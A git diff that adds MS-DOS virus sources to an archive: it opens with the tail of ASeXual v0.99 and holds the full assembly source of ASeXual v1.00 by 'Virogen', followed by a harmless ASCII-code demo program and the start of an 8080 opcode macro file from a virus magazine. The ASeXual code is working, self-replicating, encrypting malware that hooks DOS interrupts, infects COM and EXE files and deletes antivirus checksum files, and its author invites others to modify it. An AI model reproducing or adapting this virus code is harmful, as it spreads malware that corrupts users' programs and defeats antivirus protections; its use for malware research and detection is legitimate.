help lessen IDed in memory? + + ret ; return +resident endp + +;─────────────────────────────────────────────────────────────────────── +; Non-Resident portion of virus +;─────────────────────────────────────────────────────────────────────── +non_res proc + + db 0bdh ; MOV BP,xxxx - Load delta offset +set_bp: dw 0000 + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for spawn + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,2 ; 2nd? + jne no_display ; nope.. don't activate today + + show_myself: + mov ah,09 ; display virus name + lea dx,v_id[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: +;─────────────────────────────────────────────────────────────────────── +; INSTALL - Install the virus in memory +;─────────────────────────────────────────────────────────────────────── + mov ah,signal ; is virus already in mem? + int 21h + cmp ah,reply ; + jne cont_i ; nope.. continue + jmp no_install ; yes.. don't install again + cont_i: + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + cont_i2: + + mov ax,ds: [3] ;Block size in MCB + sub ax,230 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start)/2 + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsw ; Copy virus to high memory + + push es ; ds=es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] ; store old int addresses + mov bx,es: [21h*4] + mov ds: old21_seg,ax + mov ds: old21_ofs,bx + + cli ; disable interrrupts + + mov es: [21h*4+2],ds ; Set new addresses + lea ax, new21 + mov es: [21h*4],ax + + sti ; re-enable interrupts + + no_install: + push cs ; Restore segment regs + pop ds + push cs + pop es + + cmp byte ptr vtype[bp],parastic ; parastic infection? + je com_return ; yes, return to start of COM + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp ; + mov cx,7 ; Restore original first + add si,offset org_bytes ; seven bytes of COM file + mov di,0100h ; + cld ; + rep movsb ; + + mov ax,0100h ; Jump back to 100h - start of + push ax ; original program + ret ; + +non_res endp + +vtype db spawn ; Infection type +com_name db 'COMMAND.COM' ; obvious +org_bytes db 7 dup(0) ; original first seven bytes of parastic inf. +pad_bytes dw 0 ; Increase in virus size +inc_op db 47h ; INC DI (47h) or INC SI (46h) +nop_sub db 40h ; fill byte +copyr db '(c)1993 - Virogen' ; I must allow myself to be prosecuted +v_id db 0ah,0dh,'ASeXual Virus V0.99 - Your computer has been artificially Phucked!$' +spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill +spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +change_num dw 1030 ; keep track of position of INC DI|SI +addr_pos dw 0 ; relative location of MOV DI|SI +cx_pos dw 17 ; relative location of MOV CX +xor_pos dw 10 ; relative location of XOR +loop_pos dw 0 ; relative location of LOOP +xor_op db 81h,35h ; XOR word ptr [DI|SI],XXXX +di_op db 0Bfh ; MOV DI|SI, +mov_di dw 0 ; XXXX +cx_op db 0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two +new_code db 0B9h ; MOV NN, + dw 0000 ; XXXX +push_reg db 51h ; PUSH NN + db 0C3h ; RET - jump to NN +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +vend: ; End of virus + +;───────────────────────────── +; heap - not written to disk +;───────────────────────────── +fname_off dw fname1 ; Offset of Filespec to use +old_dta dd 0 ; Old DTA Segment:Address +old_eh_seg dw 0 ; old error handler (int 24h) seg +old_eh_off dw 0 ; old error handler (int 24h) ofs +inf_count db 0 ; How many files we have infected this run +fcb db 21 dup(0) ; fcb + attrib db 0 ; file attribute + f_time dw 0 ; file time + f_date dw 0 ; file date + f_sizeh dw 0 ; file size + f_sizel dw 0 ; + f_name db 13 dup(0) ; file name + + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.asexual.asm b/MSDOS/Virus.MSDOS.Unknown.asexual.asm new file mode 100644 index 00000000..f73e7f26 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.asexual.asm @@ -0,0 +1,789 @@ +;──────────────────────────────────────────────────────────────────────────── +; ************************************************ +; ASeXuAl v1.00 - BY VIROGEN - 10-29-93 +; ************************************************ +; - Compatible with : TASM /m +; +; ASeXual v1.00 +; ────────────────────── +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; Because of my ignorance I released the last version of ASeXual with +; a MAJOR bug.. you would expierence very frequent system lockups not +; to mention that infections of files in the root directory screwed them +; all future generations. +; +; new in this version: +; - Lockup bugs fixed! +; - root directory infections fixed! (no longer infects spawning in root) +; - spawning infections now return the correct return code from the EXE +; - cosmetic changes +; - no more error handler +; +; characteristics: +; This virus is a memory resident parastic COM infector and spawning +; EXE infector. It is mutative.. with only 2 bytes remain constant +; in replicated copies, but none in constant relative locations to the start +; of viral code or to each other. It infects up to 5 files in the +; current directory which a program is executed or a new drive is selected. +; It first searches out EXE hosts, and if there are none to be infected, +; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files +; in the current directory are killed before any file is infected. This +; virus is also kept encrypted in memory to prevent easy detection of it +; there too. It's code is stored just below the 640k boundary. There +; will be a decrease of about 5k of total system memory when this virus is +; resident. +; +; activation: +; This is a non-malicious virus and it's activation is simple.. On any +; thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS, +; and SCROLL LOCK) constantly while it is memory resident. It does not +; infect files on thursdays. +; +; +; As always I'm releasing the full source code to this virus.. which means +; you are free to make modifications to it. Just give credit where credit +; is due and have phun.. +; + +segment cseg + assume cs: cseg, ds: cseg,es: cseg + +signal equ 6bh ; Installation check +reply equ 0fah ; reply to check + +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection +heap_size equ 50h ; max heap size + org 100h ; Leave room for PSP + +start: +;─────────────────────────────────────────────────────────────────────── +; Encryption/Decryption routine location +;────────────────────────────────────────────────────────────────────── +fill_space : +shit_space db 6 dup(0) ; help to keep TBAV warnings down +address_fill: jmp non_res ; only in original compilation + db 17 dup(0) ; MOV DI|SI placed here +encrypt: ; For call from memory +cx_fill db 20 dup(0) ; MOV CX,XXXX placed here +xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here +loop_fill db 10 dup(0) ; LOOP Placed Here +enc_data: +ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP + +jmp non_res ; jump to nonresident code + +;─────────────────────────────────────────────────────────────────────── +; INT 21h - DOS function calls +;─────────────────────────────────────────────────────────────────────── + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no ; nope.. + mov ah,reply ; yep, give our offspring what he wants + iret + no: + pushf ; Push flags + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + cmp ah,0eh ; select disk? + je infect_call ; yes.. let's infect + cmp ax,4b00h ; exec? + jne exit_21 ; nope.. don't infect shit + cmp ch,0fbh ; Is our virus executing this prog? + jne infect_call ; yes, return to orginal INT 21h + + exit_21: + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +infect_call: + mov ah,2ah ; get date + int 21h + cmp al,4 ; thursday? + je chg_keyb + mov ah,2fh ; Get DTA Address + int 21h ; + push cs + pop ds + push cs + pop es + mov word ptr old_dta,bx ; Save old dta offset + mov word ptr old_dta+2,es ; /segment + + call encrypt_mem ; decrypt virus in memory + call resident ; Call infection kernal + call encrypt_mem ; encrypt virus in memory + + lds dx,dword ptr old_dta ; restore DTA segment/offset + mov ah,1ah ; + int 21h ; + jmp exit_21 + +chg_keyb: + xor ax,ax + mov es,ax + mov dx,es: [416h] ; 0040:0016h - keyboard flags + ror dx,1 ; rotate bits + mov es: [416h],dx ; store new flags + jmp exit_21 + +new21 endp ; End of handler +;─────────────────────────────────────────────────────────────────────── +; Encrypt/Decrypt - For memory encryption +;─────────────────────────────────────────────────────────────────────── +encrypt_mem proc + lea di,memory_encrypted + mov cx,(offset vend-offset memory_encrypted)/2 + mem_xor_loop: + db 81h,35h ; XOR word ptr [DI], + xor_mem dw 0 ; XXXX : 0-5999 + inc di ; increment pointer + inc di ; increment pointer + loop mem_xor_loop ; loop.. + ret ; return +encrypt_mem endp +memory_encrypted: ; start encryption in memory here.. + +;────────────────────────────────────────────────────────────────────── +; file pointer set +;─────────────────────────────────────────────────────────────────────- + offset_zero: + xor al,al + jmp set_fp + offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret +;─────────────────────────────────────────────────────────────────────── +; Clear ff/fn buf +;─────────────────────────────────────────────────────────────────────── +clear_buf: + mov word ptr fcb,0 ; Clear ff/fn buffer + lea si, fcb + lea di, fcb+2 + mov cx, 22 + rep movsw + ret +;─────────────────────────────────────────────────────────────────────── +; Findfirst +;─────────────────────────────────────────────────────────────────────── +ff_func: + + call clear_buf ; Clear FCB + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, fname_off + int 21h + + ret +;─────────────────────────────────────────────────────────────────────── +; Findnext +;─────────────────────────────────────────────────────────────────────── +fn_func: + + mov ah,4fh ; find next file + int 21h ; + + ret + +;─────────────────────────────────────────────────────────────────────── +; Fills encryption/decryption routine +; +; call with AX=word to fill with +;─────────────────────────────────────────────────────────────────────── +clear_encryptor: + mov cx,78 ; 156 bytes + lea di,fill_space ; beginning of null space + fill_loop: + stosw + loop fill_loop ; + + ret +;─────────────────────────────────────────────────────────────────────── +; Resident - Main infection kernal +;─────────────────────────────────────────────────────────────────────── +resident proc + + ; Set DTA address - This is for the + mov ah, 1ah ; findfirst/findnext functions + lea dx, fcb + int 21h + + mov byte ptr vtype,spawn ; infection type = spawning + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset spec ; Set search for CHKLIST.* + mov word ptr mov_di,offset enc_data ; offset past encrypt. + + cont_res: +;─────────────────────────────────────────────────────────────────────── +; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files +;─────────────────────────────────────────────────────────────────────── + mov cx,2 ; keep track of which we've killed + kill_another_spec: + push cx + + call ff_func ; find first + + jc done_kill ; none found.. done + kill_loop: + mov ax,4301h ; Set file attributes to null + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + mov ah,3ch ; create file = nullify size + xor cx,cx ; + lea dx,f_name ; + int 21h ; + push ax ; get handle + pop bx ; + + mov ah,3eh ; close file + int 21h ; + + mov ah,41h ; delete the file to finish 'er off + lea dx,f_name ; + int 21h ; + call fn_func + jnc kill_loop ; if more then kill 'em + + done_kill: + pop cx ; restore spec counter + mov fname_off,offset spec2 ; new file spec to kill + dec cx + jz kill_another_spec ; have we already killed both? + +;──────────────────────────────────────────────────────────────────────── +; start finding files to infect +;───────────────────────────────────────────────────────────────────────── + + + mov fname_off,offset fname1 + find_first: + call ff_func ; findfirst + + jnc next_loop ; if still finding files then loop + jmp exit ; if not.. then end this infection + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + cmp word ptr f_sizel,0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp no_infect + + ok_find: + + mov ah,47h ; get directory for + xor dl,dl ; ..spawning infections + lea si,file_dir ; + int 21h ; + + cmp byte ptr file_dir,0 + jne not_root + jmp no_infect + not_root: + xor bx,bx ; + lm3 : ; find end of directory name + inc bx ; + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,f_name + lea di,file_dir[bx] + rep movsb + + xor bx,bx + loop_me: ; search for filename ext. + inc bx + cmp byte ptr fcb+1eh [bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr fcb+1eh [bx],'OC' + mov byte ptr fcb+1eh [bx+2],'M' + start_inf: +;─────────────────────────────────────────────────────────────────────── +; Change jump & fill space register +;─────────────────────────────────────────────────────────────────────── + + cmp byte ptr new_code, 0bfh + jne inc_both + mov nop_sub, 3fh + mov byte ptr new_code, 0b7h + mov byte ptr push_reg, 4fh +inc_both: + inc nop_sub ; increment register + inc byte ptr new_code ; increment register + inc byte ptr push_reg ; increment register + + cmp nop_sub, 044h ; don't use SP + je inc_both +done_change_jmp: + + cmp byte ptr vtype, spawn ; spawning infection? + jne parastic_inf + +;─────────────────────────────────────────────────────────────────────── +; Spawning infection +;─────────────────────────────────────────────────────────────────────── + spawning: + mov word ptr new_code+1,offset fill_space + + lea dx,f_name + mov cx, 00000011b ; read-only & hidden + mov ah, 3ch ; Create file + int 21h ; Call INT 21H + jc p_no_infect ; If Error-probably already infected + inc inf_count + mov bx,ax + + jmp encrypt_ops +;─────────────────────────────────────────────────────────────────────── +; Parastic infection +;─────────────────────────────────────────────────────────────────────── + p_no_infect : jmp no_infect + p_close : jmp close + parastic_inf : + + lea si,f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + repe cmpsb + + je p_no_infect ; Yes, don't infect + + mov ax,3d02h ; Open file for reading & writing + lea dx,f_name ; Filename in FF/FN buffer + int 21h + + jc p_no_infect ; error, skip infection + + mov bx,ax ; get handle + + mov ah,3fh ; Read first bytes of file + mov cx,07 + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes+4,0c3h ; already infected? + je p_close ; yep..don't infect it + + cont_inf: + inc inf_count + call offset_end + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data + mov word ptr mov_di,ax ; chg mov di,xxxx + + call offset_zero + mov ax,word ptr f_sizeh ; save new address for parastic + add ax,offset fill_space ; + mov word ptr new_code+1,ax ; + + mov ah,40h ; write new first 7 bytes + mov cx,7 ; .. jumps to virus code + lea dx,new_code ; + int 21h ; + + call offset_end + +;─────────────────────────────────────────────────────────────────────── +; Change encryptions ops +;─────────────────────────────────────────────────────────────────────── +encrypt_ops: + push bx ; save file handle + + cmp pad_bytes,100h ; no more increase in file size? + je reset_pad ; if yes, reset + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr ; make note of the increase + jmp pad_ok ; don't reset pad + reset_pad: + mov word ptr pad_bytes,0 ; reset pad size + sub word ptr b_wr,100h ; make note of decrease + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 ; jmp-change ops to SI + dec inc_op ; .. change code to use DI + dec byte ptr xor_op+1 ; + dec di_op ; + dec byte ptr enc_addr ; + dec byte ptr enc_add+1 ; + jmp chg_three ; + set2: + inc inc_op ; increment code to use SI + inc byte ptr xor_op+1 ; + inc di_op ; + inc byte ptr enc_addr ; + inc byte ptr enc_add+1 ; + + chg_three: + mov dh,byte ptr nop_sub ; which byte did we use to fill space? + cmp dh,48h ; if INC AX then we need to reset it + jne _change ; else decrement it + mov dh,40h ; reset to DEC AX + _change: + cmp dh,41h ; Don't use INC CX.. + jne no_conflict ; + mov dh,48h ; Change it to DEC AX instead + no_conflict: + cmp dh,47h ; Don't use INC DI + jne no_conflict2 ; + mov dh,4bh ; Use DEC BX Instead + no_conflict2: + cmp dh,46h ; Don't use INC SI + jne no_conflict3 + mov dh,0fbh ; Use STI instead + no_conflict3: + mov dl,dh ; mov into word reg dx + push dx + pop ax + call clear_encryptor ; fill encryption routine with op + + mov ah,inc_op ; get register to increment + mov bx,change_num ; get current rotate count + cmp bh,0 ; are we at the end of the INCs? + jne no_reset_change ; nope.. continue + mov bh,99 ; reset INC #1 position + xor bl,bl ; reset INC #2 position + no_reset_change: + inc bl ; Increment INC #2 position + dec bh ; Decrement INC #1 position + mov cl,bl ; store position in CL to add + xor ch,ch ; high byte = 0 + lea si,xor_inc_space ; + push si ; save address + push si ; save it twice + add si,cx ; add INC #2 position to SI + mov byte ptr [si],ah ; move INC #2 into address + pop si ; restore address of fill_space + mov cl,bh ; store position in CL to add + xor ch,ch ; high byte = 0 + add si,cx ; add INC #1 position to SI + mov byte ptr [si],ah ; move INC #1 into address + mov change_num,bx ; store updated rotation number + + pop si ; get xor_inc_space address + mov ax,xor_pos ; get old position of XOR + cmp ax,95 ; is it at the end of the buffer? + jne xor_ok ; nope.. increment its position + mov ax,10 ; reset position to buffer+10 + xor_ok: + inc ax ; increment position pointer + add si,ax ; build pointer + mov dx,word ptr xor_op ; get XOR op + mov byte ptr [si],02eh + mov [si+1],dx ; place it into position + mov xor_pos,ax ; save new XOR location + + mov ax,addr_pos ; get old position of MOV DI|SI + cmp ax,17 ; at end of buffer? + jne addr_inc ; nope.. go increment + xor ax,ax ; yes.. reset to null + addr_inc: + inc ax ; increment pointer + lea di,address_fill ; get buffer address + add di,ax ; build pointer + lea si,di_op ; get address of op + mov cx,3 ; 3 bytes + rep movsb ; copy op to location in buffer + mov addr_pos,ax ; save new MOV DI|SI position + + mov ax,cx_pos ; get old position of MOV CX + cmp ax,0 ; back to beginning of buffer? + jne cx_dec ; nope.. decrement location + mov ax,17 ; reset to last position in buffer + cx_dec: + dec ax ; decrement pointer + lea di,cx_fill ; get address of buffer + add di,ax ; build pointer to new location + lea si,cx_op ; get address of MOV CX op + mov cx,3 ; 3 bytes length + rep movsb ; copy to new location + mov cx_pos,ax ; save new position of MOV CX + + mov ax,loop_pos ; get old position of LOOP + cmp ax,0 ; at beginning of buffer? + jne loop_inc ; nope decrement + mov ax,8 ; reset to end of buffer + loop_inc: + dec ax ; decrement pointer + lea di,loop_fill ; get address of buffer + add di,ax ; build pointer + mov dl,0e2h ; 0E2XX=LOOP XXXX + xor ch,ch ; high byte=null + mov cl,9ah ; calculate LOOP offset + sub cx,ax ; + mov dh,cl ; save new offset + mov [di],dx ; write LOOP op + mov loop_pos,ax ; save new position of LOOP + +;─────────────────────────────────────────────────────────────────────── +; Get random XOR number, save it, copy virus, encrypt code +;─────────────────────────────────────────────────────────────────────── + d2: + mov ah,2ch ; + int 21h ; Get random number from clock - sec/ms + lea si,xor_inc_space+3 ; build pointer to XOR location+2 + add si,xor_pos ; + mov word ptr [si],dx ; save encryption # + push dx + mov word ptr xor_mem,0000 + + mov si,0100h ; 100h=start of virus in memory + lea di,vend+heap_size ; destination + mov cx,offset vend-100h ; bytes to move + rep movsb ; copy virus outside of code + + pop dx + mov word ptr xor_mem,dx + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+heap_size ; offset of new copy of virus + mov byte ptr ret_byte,0c3h ; make encryption routine RET + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h ; Reset it to no RETurn +;─────────────────────────────────────────────────────────────────────── +; Write and close new infected file +;─────────────────────────────────────────────────────────────────────── + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+heap_size ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr f_time ; time from FCB + mov dx,word ptr f_date ; date from FCB + int 21h + + close: + mov ah, 3eh ; close file + int 21h + + no_infect: + find_file: + + cmp inf_count, max_inf ; Max files found? + je exit ; yes, end infection + call fn_func + jc exit ; if no files found.. quit + jmp next_loop ; infect the next file + + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done ; nope.. we're done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done ; yep, exit already + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first ; do it again for parastic + + find_done: + + xor ax,ax ; fill encryption routine with 0 + call clear_encryptor ; .. maybe help lessen IDed in memory? + + ret ; return + +resident endp + +;─────────────────────────────────────────────────────────────────────── +; Non-resident active code +;─────────────────────────────────────────────────────────────────────── +non_res proc + + db 0bdh ; MOV BP,xxxx - Load delta offset +set_bp: dw 0000 + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for spawn + mov par2[bp],cs + mov par_seg[bp],cs + +;─────────────────────────────────────────────────────────────────────── +; INSTALL - Install the virus in memory +;─────────────────────────────────────────────────────────────────────── + mov ah,signal ; is virus already in mem? + int 21h + cmp ah,reply + je no_install ; yes.. don't install again + cont_i: + + mov ax,cs ; PSP segment + dec ax ; mcb=psp-1 + mov ds,ax ; DS=MCB + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in chain? + jne no_install + + sub word ptr ds: [3],(((vend-start+1023+heap_size)*2)/1024)*64 ; shrink block + sub word ptr ds: [12h],(((vend-start+1023+heap_size)*2)/1024)*64 + mov es,word ptr ds: [12h] ; get high mem seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start)/2+1 + push cs + pop ds + mov di,100h ; New location in high memory + rep movsw ; Copy virus to high memory + + xor ax,ax + mov ds,ax ; null es + push ds + lds ax,ds: [21h*4] ; get old int 21h seg:off + mov es: old21_seg,ds ; save 'em + mov es: old21_ofs,ax + pop ds + + + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + sub byte ptr ds: [413h],((offset vend-offset start+1023+heap_size)*2)/1024 + + no_install: + push cs ; Restore segment regs + pop ds + push cs + pop es + + cmp byte ptr vtype[bp],parastic ; parastic infection? + je com_return ; yes, return to start of COM + + mov bx,(offset vend+100) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0fbh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4dh ; get return code + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp ; + mov cx,7 ; Restore original first + add si,offset org_bytes ; seven bytes of COM file + mov di,0100h ; + rep movsb ; + + mov ax,0100h ; Jump back to 100h - start of + push ax ; original program + ret ; + +non_res endp + +vtype db spawn ; Infection type +com_name db 'COMMAND.COM' ; obvious +org_bytes db 7 dup(0) ; original first seven bytes of parastic inf. +pad_bytes dw 0 ; Increase in virus size +inc_op db 47h ; INC DI (47h) or INC SI (46h) +nop_sub db 40h ; fill byte +copyr db ' (c)1993 - Virogen ' ; my name +v_id db ' ASeXual Virus V1.00 ' +spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill +spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +change_num dw 1030 ; keep track of position of INC DI|SI +addr_pos dw 0 ; relative location of MOV DI|SI +cx_pos dw 17 ; relative location of MOV CX +xor_pos dw 10 ; relative location of XOR +loop_pos dw 0 ; relative location of LOOP +xor_op db 81h,35h ; XOR word ptr CS:[DI|SI],XXXX +di_op db 0bfh ; MOV DI|SI, +mov_di dw 0 ; XXXX +cx_op db 0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two +new_code db 0b9h ; MOV NN, + dw 0000 ; XXXX +push_reg db 51h ; PUSH NN + db 0c3h ; RET - jump to NN +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +vend: ; End of virus + +;───────────────────────────── +; heap - not written to disk +;───────────────────────────── +fname_off dw fname1 ; Offset of Filespec to use +old_dta dd 0 ; Old DTA Segment:Address +inf_count db 0 ; How many files we have infected this run +fcb db 21 dup(0) ; fcb + attrib db 0 ; file attribute + f_time dw 0 ; file time + f_date dw 0 ; file date + f_sizeh dw 0 ; file size + f_sizel dw 0 ; + f_name db 13 dup(0) ; file name +heap_end: + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.askascii.asm b/MSDOS/Virus.MSDOS.Unknown.askascii.asm new file mode 100644 index 00000000..c3882d07 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.askascii.asm @@ -0,0 +1,89 @@ +; +----------------------------------------------------------+ ; +; | Sample ASKASCII program for use with the Magic Assembler | ; +; +----------------------------------------------------------+ ; + + mov ah,09 + mov dx,offset(headtxt) + int 21 + mov dx,offset(crlf) + int 21 +@5 mov ah,09 + mov dx,offset(quest) + int 21 + mov ah,00 + int 16 + push ax + mov ah,0e + mov bh,00 + int 10 + mov ah,09 + mov dx,offset(a1) + int 21 + pop ax + push ax + mov al,ah + call wrtnum + mov ah,09 + mov dx,offset(a2) + int 21 + pop ax + push ax + call wrtnum + mov ah,09 + mov dx,offset(crlf) + int 21 + mov ah,0a + mov al,'─' + mov bh,00 + mov cx,50 + int 10 + mov ah,09 + mov cx,offset(crlf) + int 21 + pop ax + cmp ax,011b + jne @5 + int 20 + +wrtnum mov ah,00 + mov bl,64 + div bl + cmp al,00 + je @1 + push ax + mov ah,0e + add al,30 + mov bh,00 + int 10 + pop ax + mov cl,01 + jmps @2 +@1 mov cl,00 +@2 mov al,ah + mov ah,00 + mov bl,0a + div bl + cmp cl,00 + jne @3 + cmp al,00 + je @4 +@3 push ax + mov ah,0e + add al,30 + mov bh,00 + int 10 + pop ax +@4 mov al,ah + add al,30 + mov ah,0e + mov bh,00 + int 10 + ret + +a1 db 0a 0d 'Scan code: $' +a2 db '; ASCII code: $' +crlf db 0a 0d '$' +headtxt db 'Ask ASCII - Written by Bert Greevenbosch for Magic Software' 0a 0d + db 'Public Domain Version' 0a 0d '$' +quest db 'Enter character to give ASCII code for (ESC quits): $' + diff --git a/MSDOS/Virus.MSDOS.Unknown.asm_8080.inc b/MSDOS/Virus.MSDOS.Unknown.asm_8080.inc new file mode 100644 index 00000000..dcc15fa3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.asm_8080.inc @@ -0,0 +1,1060 @@ +;[Death Virii Crew] Presents +;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997 + +;------------------------------------- 0 ------------------------------------- + +_nop macro +db 0h +endm + +_lxi_b macro oper16 +db 1 +dw oper16 +endm + +_stax_b macro +db 2 +endm + +_inx_b macro +db 3 +endm + +_inr_b macro +db 4 +endm + +_dcr_b macro +db 5 +endm + +_mvi_b macro oper8 +db 6 +db oper8 +endm + +_rlc macro +db 7 +endm + +_dad_b macro +db 9 +endm + +_ldax_b macro +db 0ah +endm + +_dcx_b macro +db 0bh +endm + +_inr_c macro +db 0ch +endm + +_dcr_c macro +db 0dh +endm + +_mvi_c macro oper8 +db 0eh +db oper8 +endm + +_rrc macro +db 0fh +endm + +;------------------------------------- 1 ------------------------------------- + +_lxi_d macro oper16 +db 11h +dw oper16 +endm + +_stax_d macro +db 12h +endm + +_inx_d macro +db 13h +endm + +_inr_d macro +db 14h +endm + +_dcr_d macro +db 15h +endm + +_mvi_d macro oper8 +db 16h +db oper8 +endm + +_ral macro +db 17h +endm + +_dad_d macro +db 19h +endm + +_ldax_d macro +db 1ah +endm + +_dcx_d macro +db 1bh +endm + +_inr_e macro +db 1ch +endm + +_dcr_e macro +db 1dh +endm + +_mvi_e macro oper8 +db 1eh +db oper8 +endm + +_rar macro +db 1fh +endm + +;------------------------------------- 2 ------------------------------------- + +_lxi_h macro oper16 +db 21h +dw oper16 +endm + +_shld macro _addr16 +db 22h +dw _addr16 +endm + +_inx_h macro +db 23h +endm + +_inr_h macro +db 24h +endm + +_dcr_h macro +db 25h +endm + +_mvi_h macro oper8 +db 26h +db oper8 +endm + +_daa macro +db 27h +endm + +_dad_h macro +db 29h +endm + +_lhld macro _addr16 +db 2ah +dw _addr16 +endm + +_dcx_h macro +db 2bh +endm + +_inr_l macro +db 2ch +endm + +_dcr_l macro +db 2dh +endm + +_mvi_l macro oper8 +db 2eh +db oper8 +endm + +_cma macro +db 2fh +endm + +;------------------------------------- 3 ------------------------------------- + +_lxi_sp macro oper16 +db 31h +dw oper16 +endm + +_sta macro _addr16 +db 32h +dw _addr16 +endm + +_inx_sp macro +db 33h +endm + +_inr_m macro +db 34h +endm + +_dcr_m macro +db 35h +endm + +_mvi_m macro oper8 +db 36h +db oper8 +endm + +_stc macro +db 